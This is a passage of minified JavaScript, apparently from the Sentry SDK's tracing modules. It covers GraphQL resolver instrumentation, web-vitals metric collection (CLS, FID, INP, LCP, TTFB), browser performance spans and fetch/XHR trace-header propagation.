`Sentry.Integrations.Apollo({ useNestjs: true })` instead."),HD.logger.warn();else if(this.config.modules)HD.logger.warn("Apollo integration is not able to trace `ApolloServer` instances constructed via `modules` property.");HD.logger.error("Skipping tracing as no resolvers found on the `ApolloServer` instance.")}return Y.call(this)}let z=HD.arrayify(this.config.resolvers);return this.config.resolvers=qN8(z,K),Y.call(this)}})}}}VtA.__initStatic();function qN8(A,K){return A.map((q)=>{return Object.keys(q).forEach((Y)=>{Object.keys(q[Y]).forEach((z)=>{if(typeof q[Y][z]!=="function")return;uiq(q,Y,z,K)})}),q})}function uiq(A,K,q,Y){HD.fill(A[K],q,function(z){return function(...w){let J=Y().getScope().getSpan(),O=Jm1([J,"optionalAccess",($)=>$.startChild,"call",($)=>$({description:`${K}.${q}`,op:"graphql.resolve",origin:"auto.graphql.apollo"})]),X=z.call(this,...w);if(HD.isThenable(X))return X.then(($)=>{return Jm1([O,"optionalAccess",(_)=>_.end,"call",(_)=>_()]),$});return Jm1([O,"optionalAccess",($)=>$.end,"call",($)=>$()]),X}})}YN8.Apollo=VtA});var HN8=v((wN8,Wi)=>{Object.defineProperty(wN8,"__esModule",{value:!0});var e1A=H8(),miq=[()=>{return new(e1A.dynamicRequire(Wi,"./apollo")).Apollo},()=>{return new(e1A.dynamicRequire(Wi,"./apollo")).Apollo({useNestjs:!0})},()=>{return new(e1A.dynamicRequire(Wi,"./graphql")).GraphQL},()=>{return new(e1A.dynamicRequire(Wi,"./mongo")).Mongo},()=>{return new(e1A.dynamicRequire(Wi,"./mongo")).Mongo({mongoose:!0})},()=>{return new(e1A.dynamicRequire(Wi,"./mysql")).Mysql},()=>{return new(e1A.dynamicRequire(Wi,"./postgres")).Postgres}];wN8.lazyLoadedNodePerformanceMonitoringIntegrations=miq});var pN=v((JN8)=>{Object.defineProperty(JN8,"__esModule",{value:!0});var Fiq=H8(),Qiq=Fiq.GLOBAL_OBJ;JN8.WINDOW=Qiq});var Xm1=v((_N8)=>{Object.defineProperty(_N8,"__esModule",{value:!0});var ON8=sq(),XN8=H8(),$N8=wV(),Om1=pN();function piq(){if(Om1.WINDOW.document)Om1.WINDOW.document.addEventListener("visibilitychange",()=>{let A=ON8.getActiveTransaction();if(Om1.WINDOW.document.hidden&&A){let{op:q,status:Y}=ON8.spanToJSON(A);if($N8.DEBUG_BUILD&&XN8.logger.log(`[Tracing] Transaction: cancelled -> since tab moved to the background, op: ${q}`),!Y)A.setStatus("cancelled");A.setTag("visibilitychange","document.hidden"),A.end()}});else $N8.DEBUG_BUILD&&XN8.logger.warn("[Tracing] Could not set up background tab detection due to lack of global document")}_N8.registerBackgroundTabDetection=piq});var vHA=v((GN8)=>{Object.defineProperty(GN8,"__esModule",{value:!0});var ciq=(A,K,q)=>{let Y,z;return(w)=>{if(K.value>=0){if(w||q){if(z=K.value-(Y||0),z||Y===void 0)Y=K.value,K.delta=z,A(K)}}}};GN8.bindReporter=ciq});var WN8=v((ZN8)=>{Object.defineProperty(ZN8,"__esModule",{value:!0});var iiq=()=>{return`v3-${Date.now()}-${Math.floor(Math.random()*8999999999999)+1000000000000}`};ZN8.generateUniqueID=iiq});var BvA=v((DN8)=>{Object.defineProperty(DN8,"__esModule",{value:!0});var uvA=pN(),riq=()=>{let A=uvA.WINDOW.performance.timing,K=uvA.WINDOW.performance.navigation.type,q={entryType:"navigation",startTime:0,type:K==2?"back_forward":K===1?"reload":"navigate"};for(let Y in A)if(Y!=="navigationStart"&&Y!=="toJSON")q[Y]=Math.max(A[Y]-A.navigationStart,0);return q},oiq=()=>{if(uvA.WINDOW.__WEB_VITALS_POLYFILL__)return uvA.WINDOW.performance&&(performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]||riq());else return uvA.WINDOW.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]};DN8.getNavigationEntry=oiq});var ftA=v((jN8)=>{Object.defineProperty(jN8,"__esModule",{value:!0});var siq=BvA(),tiq=()=>{let A=siq.getNavigationEntry();return A&&A.activationStart||0};jN8.getActivationStart=tiq});var EHA=v((PN8)=>{Object.defineProperty(PN8,"__esModule",{value:!0});var MN8=pN(),Anq=WN8(),Knq=ftA(),qnq=BvA(),Ynq=(A,K)=>{let q=qnq.getNavigationEntry(),Y="navigate";if(q)if(MN8.WINDOW.document&&MN8.WINDOW.document.prerendering||Knq.getActivationStart()>0)Y="prerender";else Y=q.type.replace(/_/g,"-");return{name:A,value:typeof K>"u"?-1:K,rating:"good",delta:0,entries:[],id:Anq.generateUniqueID(),navigationType:Y}};PN8.initMetric=Ynq});var A6A=v((VN8)=>{Object.defineProperty(VN8,"__esModule",{value:!0});var wnq=(A,K,q)=>{try{if(PerformanceObserver.supportedEntryTypes.includes(A)){let Y=new PerformanceObserver((z)=>{K(z.getEntries())});return Y.observe(Object.assign({type:A,buffered:!0},q||{})),Y}}catch(Y){}return};VN8.observe=wnq});var kHA=v((NN8)=>{Object.defineProperty(NN8,"__esModule",{value:!0});var fN8=pN(),Jnq=(A,K)=>{let q=(Y)=>{if(Y.type==="pagehide"||fN8.WINDOW.document.visibilityState==="hidden"){if(A(Y),K)removeEventListener("visibilitychange",q,!0),removeEventListener("pagehide",q,!0)}};if(fN8.WINDOW.document)addEventListener("visibilitychange",q,!0),addEventListener("pagehide",q,!0)};NN8.onHidden=Jnq});var vN8=v((TN8)=>{Object.defineProperty(TN8,"__esModule",{value:!0});var Xnq=vHA(),$nq=EHA(),_nq=A6A(),Gnq=kHA(),Znq=(A,K={})=>{let q=$nq.initMetric("CLS",0),Y,z=0,w=[],H=(O)=>{O.forEach((X)=>{if(!X.hadRecentInput){let $=w[0],_=w[w.length-1];if(z&&w.length!==0&&X.startTime-_.startTime<1000&&X.startTime-$.startTime<5000)z+=X.value,w.push(X);else z=X.value,w=[X];if(z>q.value){if(q.value=z,q.entries=w,Y)Y()}}})},J=_nq.observe("layout-shift",H);if(J){Y=Xnq.bindReporter(A,q,K.reportAllChanges);let O=()=>{H(J.takeRecords()),Y(!0)};return Gnq.onHidden(O),O}return};TN8.onCLS=Znq});var vtA=v((EN8)=>{Object.defineProperty(EN8,"__esModule",{value:!0});var NtA=pN(),Dnq=kHA(),TtA=-1,jnq=()=>{if(NtA.WINDOW.document&&NtA.WINDOW.document.visibilityState)TtA=NtA.WINDOW.document.visibilityState==="hidden"&&!NtA.WINDOW.document.prerendering?0:1/0},Mnq=()=>{Dnq.onHidden(({timeStamp:A})=>{TtA=A},!0)},Pnq=()=>{if(TtA<0)jnq(),Mnq();return{get firstHiddenTime(){return TtA}}};EN8.getVisibilityWatcher=Pnq});var CN8=v((kN8)=>{Object.defineProperty(kN8,"__esModule",{value:!0});var fnq=vHA(),Nnq=vtA(),Tnq=EHA(),vnq=A6A(),Enq=kHA(),knq=(A)=>{let K=Nnq.getVisibilityWatcher(),q=Tnq.initMetric("FID"),Y,z=(J)=>{if(J.startTime<K.firstHiddenTime)q.value=J.processingStart-J.startTime,q.entries.push(J),Y(!0)},w=(J)=>{J.forEach(z)},H=vnq.observe("first-input",w);if(Y=fnq.bindReporter(A,q),H)Enq.onHidden(()=>{w(H.takeRecords()),H.disconnect()},!0)};kN8.onFID=knq});var yN8=v((RN8)=>{Object.defineProperty(RN8,"__esModule",{value:!0});var Lnq=A6A(),LN8=0,$m1=1/0,EtA=0,Rnq=(A)=>{A.forEach((K)=>{if(K.interactionId)$m1=Math.min($m1,K.interactionId),EtA=Math.max(EtA,K.interactionId),LN8=EtA?(EtA-$m1)/7+1:0})},_m1,ynq=()=>{return _m1?LN8:performance.interactionCount||0},Inq=()=>{if("interactionCount"in performance||_m1)return;_m1=Lnq.observe("event",Rnq,{type:"event",buffered:!0,durationThreshold:0})};RN8.getInteractionCount=ynq;RN8.initInteractionCountPolyfill=Inq});var uN8=v((xN8)=>{Object.defineProperty(xN8,"__esModule",{value:!0});var bnq=vHA(),xnq=EHA(),unq=A6A(),Bnq=kHA(),hN8=yN8(),bN8=()=>{return hN8.getInteractionCount()},IN8=10,YF=[],Gm1={},SN8=(A)=>{let K=YF[YF.length-1],q=Gm1[A.interactionId];if(q||YF.length<IN8||A.duration>K.latency){if(q)q.entries.push(A),q.latency=Math.max(q.latency,A.duration);else{let Y={id:A.interactionId,latency:A.duration,entries:[A]};Gm1[Y.id]=Y,YF.push(Y)}YF.sort((Y,z)=>z.latency-Y.latency),YF.splice(IN8).forEach((Y)=>{delete Gm1[Y.id]})}},mnq=()=>{let A=Math.min(YF.length-1,Math.floor(bN8()/50));return YF[A]},gnq=(A,K)=>{K=K||{},hN8.initInteractionCountPolyfill();let q=xnq.initMetric("INP"),Y,z=(H)=>{H.forEach((O)=>{if(O.interactionId)SN8(O);if(O.entryType==="first-input"){if(!YF.some(($)=>{return $.entries.some((_)=>{return O.duration===_.duration&&O.startTime===_.startTime})}))SN8(O)}});let J=mnq();if(J&&J.latency!==q.value)q.value=J.latency,q.entries=J.entries,Y()},w=unq.observe("event",z,{durationThreshold:K.durationThreshold||40});if(Y=bnq.bindReporter(A,q,K.reportAllChanges),w)w.observe({type:"first-input",buffered:!0}),Bnq.onHidden(()=>{if(z(w.takeRecords()),q.value<0&&bN8()>0)q.value=0,q.entries=[];Y(!0)})};xN8.onINP=gnq});var gN8=v((mN8)=>{Object.defineProperty(mN8,"__esModule",{value:!0});var Qnq=pN(),Unq=vHA(),pnq=ftA(),dnq=vtA(),cnq=EHA(),lnq=A6A(),inq=kHA(),BN8={},nnq=(A)=>{let K=dnq.getVisibilityWatcher(),q=cnq.initMetric("LCP"),Y,z=(H)=>{let J=H[H.length-1];if(J){let O=Math.max(J.startTime-pnq.getActivationStart(),0);if(O<K.firstHiddenTime)q.value=O,q.entries=[J],Y()}},w=lnq.observe("largest-contentful-paint",z);if(w){Y=Unq.bindReporter(A,q);let H=()=>{if(!BN8[q.id])z(w.takeRecords()),w.disconnect(),BN8[q.id]=!0,Y(!0)};return["keydown","click"].forEach((J)=>{if(Qnq.WINDOW.document)addEventListener(J,H,{once:!0,capture:!0})}),inq.onHidden(H,!0),H}return};mN8.onLCP=nnq});var QN8=v((FN8)=>{Object.defineProperty(FN8,"__esModule",{value:!0});var Zm1=pN(),onq=vHA(),anq=ftA(),snq=BvA(),tnq=EHA(),Wm1=(A)=>{if(!Zm1.WINDOW.document)return;if(Zm1.WINDOW.document.prerendering)addEventListener("prerenderingchange",()=>Wm1(A),!0);else if(Zm1.WINDOW.document.readyState!=="complete")addEventListener("load",()=>Wm1(A),!0);else setTimeout(A,0)},enq=(A,K)=>{K=K||{};let q=tnq.initMetric("TTFB"),Y=onq.bindReporter(A,q,K.reportAllChanges);Wm1(()=>{let z=snq.getNavigationEntry();if(z){if(q.value=Math.max(z.responseStart-anq.getActivationStart(),0),q.value<0||q.value>performance.now())return;q.entries=[z],Y(!0)}})};FN8.onTTFB=enq});var LHA=v((oN8)=>{Object.defineProperty(oN8,"__esModule",{value:!0});var UN8=H8(),Krq=wV(),qrq=vN8(),Yrq=CN8(),zrq=uN8(),wrq=gN8(),Hrq=A6A(),Jrq=QN8(),mvA={},ktA={},pN8,dN8,cN8,lN8,iN8;function Orq(A,K=!1){return gvA("cls",A,Wrq,pN8,K)}function Xrq(A,K=!1){return gvA("lcp",A,jrq,cN8,K)}function $rq(A){return gvA("ttfb",A,Mrq,lN8)}function _rq(A){return gvA("fid",A,Drq,dN8)}function Grq(A){return gvA("inp",A,Prq,iN8)}function Zrq(A,K){if(nN8(A,K),!ktA[A])Vrq(A),ktA[A]=!0;return rN8(A,K)}function CHA(A,K){let q=mvA[A];if(!q||!q.length)return;for(let Y of q)try{Y(K)}catch(z){Krq.DEBUG_BUILD&&UN8.logger.error(`Error while triggering instrumentation handler. Type: ${A} Name: ${UN8.getFunctionName(Y)} Error:`,z)}}function Wrq(){return qrq.onCLS((A)=>{CHA("cls",{metric:A}),pN8=A},{reportAllChanges:!0})}function Drq(){return Yrq.onFID((A)=>{CHA("fid",{metric:A}),dN8=A})}function jrq(){return wrq.onLCP((A)=>{CHA("lcp",{metric:A}),cN8=A})}function Mrq(){return Jrq.onTTFB((A)=>{CHA("ttfb",{metric:A}),lN8=A})}function Prq(){return zrq.onINP((A)=>{CHA("inp",{metric:A}),iN8=A})}function gvA(A,K,q,Y,z=!1){nN8(A,K);let w;if(!ktA[A])w=q(),ktA[A]=!0;if(Y)K({metric:Y});return rN8(A,K,z?w:void 0)}function Vrq(A){let K={};if(A==="event")K.durationThreshold=0;Hrq.observe(A,(q)=>{CHA(A,{entries:q})},K)}function nN8(A,K){mvA[A]=mvA[A]||[],mvA[A].push(K)}function rN8(A,K,q){return()=>{if(q)q();let Y=mvA[A];if(!Y)return;let z=Y.indexOf(K);if(z!==-1)Y.splice(z,1)}}oN8.addClsInstrumentationHandler=Orq;oN8.addFidInstrumentationHandler=_rq;oN8.addInpInstrumentationHandler=Grq;oN8.addLcpInstrumentationHandler=Xrq;oN8.addPerformanceInstrumentationHandler=Zrq;oN8.addTtfbInstrumentationHandler=$rq});var sN8=v((aN8)=>{Object.defineProperty(aN8,"__esModule",{value:!0});function Crq(A){return typeof A==="number"&&isFinite(A)}function Lrq(A,{startTimestamp:K,...q}){if(K&&A.startTimestamp>K)A.startTimestamp=K;return A.startChild({startTimestamp:K,...q})}aN8._startChild=Lrq;aN8.isMeasurementValue=Crq});var Mm1=v((qT8)=>{Object.defineProperty(qT8,"__esModule",{value:!0});var zF=sq(),_w=H8(),dN=wV(),K6A=LHA(),wF=pN(),Irq=vtA(),HF=sN8(),Srq=BvA(),hrq=2147483647;function s$(A){return A/1000}function jm1(){return wF.WINDOW&&wF.WINDOW.addEventListener&&wF.WINDOW.performance}var tN8=0,FO={},jb,FvA;function brq(){let A=jm1();if(A&&_w.browserPerformanceTimeOrigin){if(A.mark)wF.WINDOW.performance.mark("sentry-tracing-init");let K=Frq(),q=mrq(),Y=grq(),z=Qrq();return()=>{K(),q(),Y(),z()}}return()=>{return}}function xrq(){K6A.addPerformanceInstrumentationHandler("longtask",({entries:A})=>{for(let K of A){let q=zF.getActiveTransaction();if(!q)return;let Y=s$(_w.browserPerformanceTimeOrigin+K.startTime),z=s$(K.duration);q.startChild({description:"Main UI thread blocked",op:"ui.long-task",origin:"auto.ui.browser.metrics",startTimestamp:Y,endTimestamp:Y+z})}})}function urq(){K6A.addPerformanceInstrumentationHandler("event",({entries:A})=>{for(let K of A){let q=zF.getActiveTransaction();if(!q)return;if(K.name==="click"){let Y=s$(_w.browserPerformanceTimeOrigin+K.startTime),z=s$(K.duration),w={description:_w.htmlTreeAsString(K.target),op:`ui.interaction.${K.name}`,origin:"auto.ui.browser.metrics",startTimestamp:Y,endTimestamp:Y+z},H=_w.getComponentName(K.target);if(H)w.attributes={"ui.component_name":H};q.startChild(w)}}})}function Brq(A,K){if(jm1()&&_w.browserPerformanceTimeOrigin){let Y=Urq(A,K);return()=>{Y()}}return()=>{return}}function mrq(){return K6A.addClsInstrumentationHandler(({metric:A})=>{let K=A.entries[A.entries.length-1];if(!K)return;dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding CLS"),FO.cls={value:A.value,unit:""},FvA=K},!0)}function grq(){return K6A.addLcpInstrumentationHandler(({metric:A})=>{let K=A.entries[A.entries.length-1];if(!K)return;dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding LCP"),FO.lcp={value:A.value,unit:"millisecond"},jb=K},!0)}function Frq(){return K6A.addFidInstrumentationHandler(({metric:A})=>{let K=A.entries[A.entries.length-1];if(!K)return;let q=s$(_w.browserPerformanceTimeOrigin),Y=s$(K.startTime);dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding FID"),FO.fid={value:A.value,unit:"millisecond"},FO["mark.fid"]={value:q+Y,unit:"second"}})}function Qrq(){return K6A.addTtfbInstrumentationHandler(({metric:A})=>{if(!A.entries[A.entries.length-1])return;dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding TTFB"),FO.ttfb={value:A.value,unit:"millisecond"}})}var eN8={click:"click",pointerdown:"click",pointerup:"click",mousedown:"click",mouseup:"click",touchstart:"click",touchend:"click",mouseover:"hover",mouseout:"hover",mouseenter:"hover",mouseleave:"hover",pointerover:"hover",pointerout:"hover",pointerenter:"hover",pointerleave:"hover",dragstart:"drag",dragend:"drag",drag:"drag",dragenter:"drag",dragleave:"drag",dragover:"drag",drop:"drag",keydown:"press",keyup:"press",keypress:"press",input:"press"};function Urq(A,K){return K6A.addInpInstrumentationHandler(({metric:q})=>{if(q.value===void 0)return;let Y=q.entries.find((f)=>f.duration===q.value&&eN8[f.name]!==void 0),z=zF.getClient();if(!Y||!z)return;let w=eN8[Y.name],H=z.getOptions(),J=s$(_w.browserPerformanceTimeOrigin+Y.startTime),O=s$(q.value),X=Y.interactionId!==void 0?A[Y.interactionId]:void 0;if(X===void 0)return;let{routeName:$,parentContext:_,activeTransaction:G,user:Z,replayId:W}=X,D=Z!==void 0?Z.email||Z.id||Z.ip_address:void 0,j=G!==void 0?G.getProfileId():void 0,M=new zF.Span({startTimestamp:J,endTimestamp:J+O,op:`ui.interaction.${w}`,name:_w.htmlTreeAsString(Y.target),attributes:{release:H.release,environment:H.environment,transaction:$,...D!==void 0&&D!==""?{user:D}:{},...j!==void 0?{profile_id:j}:{},...W!==void 0?{replay_id:W}:{}},exclusiveTime:q.value,measurements:{inp:{value:q.value,unit:"millisecond"}}}),P=rrq(_,H,K);if(!P)return;if(Math.random()<P){let f=M?zF.createSpanEnvelope([M],z.getDsn()):void 0,N=z&&z.getTransport();if(N&&f)N.send(f).then(null,(T)=>{dN.DEBUG_BUILD&&_w.logger.error("Error while sending interaction:",T)});return}})}function prq(A){let K=jm1();if(!K||!wF.WINDOW.performance.getEntries||!_w.browserPerformanceTimeOrigin)return;dN.DEBUG_BUILD&&_w.logger.log("[Tracing] Adding & adjusting spans using Performance API");let q=s$(_w.browserPerformanceTimeOrigin),Y=K.getEntries(),{op:z,start_timestamp:w}=zF.spanToJSON(A);if(Y.slice(tN8).forEach((H)=>{let J=s$(H.startTime),O=s$(H.duration);if(A.op==="navigation"&&w&&q+J<w)return;switch(H.entryType){case"navigation":{drq(A,H,q);break}case"mark":case"paint":case"measure":{AT8(A,H,J,O,q);let X=Irq.getVisibilityWatcher(),$=H.startTime<X.firstHiddenTime;if(H.name==="first-paint"&&$)dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding FP"),FO.fp={value:H.startTime,unit:"millisecond"};if(H.name==="first-contentful-paint"&&$)dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding FCP"),FO.fcp={value:H.startTime,unit:"millisecond"};break}case"resource":{KT8(A,H,H.name,J,O,q);break}}}),tN8=Math.max(Y.length-1,0),lrq(A),z==="pageload"){nrq(FO),["fcp","fp","lcp"].forEach((J)=>{if(!FO[J]||!w||q>=w)return;let O=FO[J].value,X=q+s$(O),$=Math.abs((X-w)*1000),_=$-O;dN.DEBUG_BUILD&&_w.logger.log(`[Measurements] Normalized ${J} from ${O} to ${$} (${_})`),FO[J].value=$});let H=FO["mark.fid"];if(H&&FO.fid)HF._startChild(A,{description:"first input delay",endTimestamp:H.value+s$(FO.fid.value),op:"ui.action",origin:"auto.ui.browser.metrics",startTimestamp:H.value}),delete FO["mark.fid"];if(!("fcp"in FO))delete FO.cls;Object.keys(FO).forEach((J)=>{zF.setMeasurement(J,FO[J].value,FO[J].unit)}),irq(A)}jb=void 0,FvA=void 0,FO={}}function AT8(A,K,q,Y,z){let w=z+q,H=w+Y;return HF._startChild(A,{description:K.name,endTimestamp:H,op:K.entryType,origin:"auto.resource.browser.metrics",startTimestamp:w}),w}function drq(A,K,q){["unloadEvent","redirect","domContentLoadedEvent","loadEvent","connect"].forEach((Y)=>{CtA(A,K,Y,q)}),CtA(A,K,"secureConnection",q,"TLS/SSL","connectEnd"),CtA(A,K,"fetch",q,"cache","domainLookupStart"),CtA(A,K,"domainLookup",q,"DNS"),crq(A,K,q)}function CtA(A,K,q,Y,z,w){let H=w?K[w]:K[`${q}End`],J=K[`${q}Start`];if(!J||!H)return;HF._startChild(A,{op:"browser",origin:"auto.browser.browser.metrics",description:z||q,startTimestamp:Y+s$(J),endTimestamp:Y+s$(H)})}function crq(A,K,q){if(K.responseEnd)HF._startChild(A,{op:"browser",origin:"auto.browser.browser.metrics",description:"request",startTimestamp:q+s$(K.requestStart),endTimestamp:q+s$(K.responseEnd)}),HF._startChild(A,{op:"browser",origin:"auto.browser.browser.metrics",description:"response",startTimestamp:q+s$(K.responseStart),endTimestamp:q+s$(K.responseEnd)})}function KT8(A,K,q,Y,z,w){if(K.initiatorType==="xmlhttprequest"||K.initiatorType==="fetch")return;let H=_w.parseUrl(q),J={};if(Dm1(J,K,"transferSize","http.response_transfer_size"),Dm1(J,K,"encodedBodySize","http.response_content_length"),Dm1(J,K,"decodedBodySize","http.decoded_response_content_length"),"renderBlockingStatus"in K)J["resource.render_blocking_status"]=K.renderBlockingStatus;if(H.protocol)J["url.scheme"]=H.protocol.split(":").pop();if(H.host)J["server.address"]=H.host;J["url.same_origin"]=q.includes(wF.WINDOW.location.origin);let O=w+Y,X=O+z;HF._startChild(A,{description:q.replace(wF.WINDOW.location.origin,""),endTimestamp:X,op:K.initiatorType?`resource.${K.initiatorType}`:"resource.other",origin:"auto.resource.browser.metrics",startTimestamp:O,data:J})}function lrq(A){let K=wF.WINDOW.navigator;if(!K)return;let q=K.connection;if(q){if(q.effectiveType)A.setTag("effectiveConnectionType",q.effectiveType);if(q.type)A.setTag("connectionType",q.type);if(HF.isMeasurementValue(q.rtt))FO["connection.rtt"]={value:q.rtt,unit:"millisecond"}}if(HF.isMeasurementValue(K.deviceMemory))A.setTag("deviceMemory",`${K.deviceMemory} GB`);if(HF.isMeasurementValue(K.hardwareConcurrency))A.setTag("hardwareConcurrency",String(K.hardwareConcurrency))}function irq(A){if(jb){if(dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding LCP Data"),jb.element)A.setTag("lcp.element",_w.htmlTreeAsString(jb.element));if(jb.id)A.setTag("lcp.id",jb.id);if(jb.url)A.setTag("lcp.url",jb.url.trim().slice(0,200));A.setTag("lcp.size",jb.size)}if(FvA&&FvA.sources)dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding CLS Data"),FvA.sources.forEach((K,q)=>A.setTag(`cls.source.${q+1}`,_w.htmlTreeAsString(K.node)))}function Dm1(A,K,q,Y){let z=K[q];if(z!=null&&z<hrq)A[Y]=z}function nrq(A){let K=Srq.getNavigationEntry();if(!K)return;let{responseStart:q,requestStart:Y}=K;if(Y<=q)dN.DEBUG_BUILD&&_w.logger.log("[Measurements] Adding TTFB Request Time"),A["ttfb.requestTime"]={value:q-Y,unit:"millisecond"}}function rrq(A,K,q){if(!zF.hasTracingEnabled(K))return!1;let Y;if(A!==void 0&&typeof K.tracesSampler==="function")Y=K.tracesSampler({transactionContext:A,name:A.name,parentSampled:A.parentSampled,attributes:{...A.data,...A.attributes},location:wF.WINDOW.location});else if(A!==void 0&&A.sampled!==void 0)Y=A.sampled;else if(typeof K.tracesSampleRate<"u")Y=K.tracesSampleRate;else Y=1;if(!zF.isValidSampleRate(Y))return dN.DEBUG_BUILD&&_w.logger.warn("[Tracing] Discarding interaction span because of invalid sample rate."),!1;if(Y===!0)return q;else if(Y===!1)return 0;return Y*q}qT8._addMeasureSpans=AT8;qT8._addResourceSpans=KT8;qT8.addPerformanceEntries=prq;qT8.startTrackingINP=Brq;qT8.startTrackingInteractions=urq;qT8.startTrackingLongTasks=xrq;qT8.startTrackingWebVitals=brq});var Pm1=v((zT8)=>{Object.defineProperty(zT8,"__esModule",{value:!0});var Mb=sq(),q6A=H8();function qoq(A,K,q,Y,z="auto.http.browser"){if(!Mb.hasTracingEnabled()||!A.fetchData)return;let w=K(A.fetchData.url);if(A.endTimestamp&&w){let Z=A.fetchData.__span;if(!Z)return;let W=Y[Z];if(W)zoq(W,A),delete Y[Z];return}let H=Mb.getCurrentScope(),J=Mb.getClient(),{method:O,url:X}=A.fetchData,$=Yoq(X),_=$?q6A.parseUrl($).host:void 0,G=w?Mb.startInactiveSpan({name:`${O} ${X}`,onlyIfParent:!0,attributes:{url:X,type:"fetch","http.method":O,"http.url":$,"server.address":_,[Mb.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN]:z},op:"http.client"}):void 0;if(G)A.fetchData.__span=G.spanContext().spanId,Y[G.spanContext().spanId]=G;if(q(A.fetchData.url)&&J){let Z=A.args[0];A.args[1]=A.args[1]||{};let W=A.args[1];W.headers=YT8(Z,J,H,W,G)}return G}function YT8(A,K,q,Y,z){let w=z||q.getSpan(),H=Mb.getIsolationScope(),{traceId:J,spanId:O,sampled:X,dsc:$}={...H.getPropagationContext(),...q.getPropagationContext()},_=w?Mb.spanToTraceHeader(w):q6A.generateSentryTraceHeader(J,O,X),G=q6A.dynamicSamplingContextToSentryBaggageHeader($||(w?Mb.getDynamicSamplingContextFromSpan(w):Mb.getDynamicSamplingContextFromClient(J,K,q))),Z=Y.headers||(typeof Request<"u"&&q6A.isInstanceOf(A,Request)?A.headers:void 0);if(!Z)return{"sentry-trace":_,baggage:G};else if(typeof Headers<"u"&&q6A.isInstanceOf(Z,Headers)){let W=new Headers(Z);if(W.append("sentry-trace",_),G)W.append(q6A.BAGGAGE_HEADER_NAME,G);return W}else if(Array.isArray(Z)){let W=[...Z,["sentry-trace",_]];if(G)W.push([q6A.BAGGAGE_HEADER_NAME,G]);return W}else{let W="baggage"in Z?Z.baggage:void 0,D=[];if(Array.isArray(W))D.push(...W);else if(W)D.push(W);if(G)D.push(G);return{...Z,"sentry-trace":_,baggage:D.length>0?D.join(","):void 0}}}function Yoq(A){try{return new URL(A).href}catch(K){return}}function zoq(A,K){if(K.response){Mb.setHttpStatus(A,K.response.status);let q=K.response&&K.response.headers&&K.response.headers.get("content-length");if(q){let Y=parseInt(q);if(Y>0)A.setAttribute("http.response_content_length",Y)}}else if(K.error)A.setStatus("internal_error");A.end()}zT8.addTracingHeadersToFetchRequest=YT8;zT8.instrumentFetchRequest=qoq});var RtA=v(($T8)=>{Object.defineProperty($T8,"__esModule",{value:!0});var BR=sq(),mR=H8(),Joq=Pm1(),Ooq=LHA(),Xoq=pN(),LtA=["localhost",/^\/(?!\/)/],Vm1={traceFetch:!0,traceXHR:!0,enableHTTPTimings:!0,tracingOrigins:LtA,tracePropagationTargets:LtA};function $oq(A){let{traceFetch:K,traceXHR:q,tracePropagationTargets:Y,tracingOrigins:z,shouldCreateSpanForRequest:w,enableHTTPTimings:H}={traceFetch:Vm1.traceFetch,traceXHR:Vm1.traceXHR,...A},J=typeof w==="function"?w:($)=>!0,O=($)=>JT8($,Y||z),X={};if(K)mR.addFetchInstrumentationHandler(($)=>{let _=Joq.instrumentFetchRequest($,J,O,X);if(_){let G=XT8($.fetchData.url),Z=G?mR.parseUrl(G).host:void 0;_.setAttributes({"http.url":G,"server.address":Z})}if(H&&_)wT8(_)});if(q)mR.addXhrInstrumentationHandler(($)=>{let _=OT8($,J,O,X);if(H&&_)wT8(_)})}function _oq(A){return A.entryType==="resource"&&"initiatorType"in A&&typeof A.nextHopProtocol==="string"&&(A.initiatorType==="fetch"||A.initiatorType==="xmlhttprequest")}function wT8(A){let{url:K}=BR.spanToJSON(A).data||{};if(!K||typeof K!=="string")return;let q=Ooq.addPerformanceInstrumentationHandler("resource",({entries:Y})=>{Y.forEach((z)=>{if(_oq(z)&&z.name.endsWith(K))Goq(z).forEach((H)=>A.setAttribute(...H)),setTimeout(q)})})}function HT8(A){let K="unknown",q="unknown",Y="";for(let z of A){if(z==="/"){[K,q]=A.split("/");break}if(!isNaN(Number(z))){K=Y==="h"?"http":Y,q=A.split(Y)[1];break}Y+=z}if(Y===A)K=Y;return{name:K,version:q}}function Pb(A=0){return((mR.browserPerformanceTimeOrigin||performance.timeOrigin)+A)/1000}function Goq(A){let{name:K,version:q}=HT8(A.nextHopProtocol),Y=[];if(Y.push(["network.protocol.version",q],["network.protocol.name",K]),!mR.browserPerformanceTimeOrigin)return Y;return[...Y,["http.request.redirect_start",Pb(A.redirectStart)],["http.request.fetch_start",Pb(A.fetchStart)],["http.request.domain_lookup_start",Pb(A.domainLookupStart)],["http.request.domain_lookup_end",Pb(A.domainLookupEnd)],["http.request.connect_start",Pb(A.connectStart)],["http.request.secure_connection_start",Pb(A.secureConnectionStart)],["http.request.connection_end",Pb(A.connectEnd)],["http.request.request_start",Pb(A.requestStart)],["http.request.response_start",Pb(A.responseStart)],["http.request.response_end",Pb(A.responseEnd)]]}function JT8(A,K){return mR.stringMatchesSomePattern(A,K||LtA)}function OT8(A,K,q,Y){let z=A.xhr,w=z&&z[mR.SENTRY_XHR_DATA_KEY];if(!BR.hasTracingEnabled()||!z||z.__sentry_own_request__||!w)return;let H=K(w.url);if(A.endTimestamp&&H){let Z=z.__sentry_xhr_span_id__;if(!Z)return;let W=Y[Z];if(W&&w.status_code!==void 0)BR.setHttpStatus(W,w.status_code),W.end(),delete Y[Z];return}let J=BR.getCurrentScope(),O=BR.getIsolationScope(),X=XT8(w.url),$=X?mR.parseUrl(X).host:void 0,_=H?BR.startInactiveSpan({name:`${w.method} ${w.url}`,onlyIfParent:!0,attributes:{type:"xhr","http.method":w.method,"http.url":X,url:w.url,"server.address":$,[BR.SEMANTIC_ATTRIBUTE_SENTRY_ORIGIN]:"auto.http.browser"},op:"http.client"}):void 0;if(_)z.__sentry_xhr_span_id__=_.spanContext().spanId,Y[z.__sentry_xhr_span_id__]=_;let 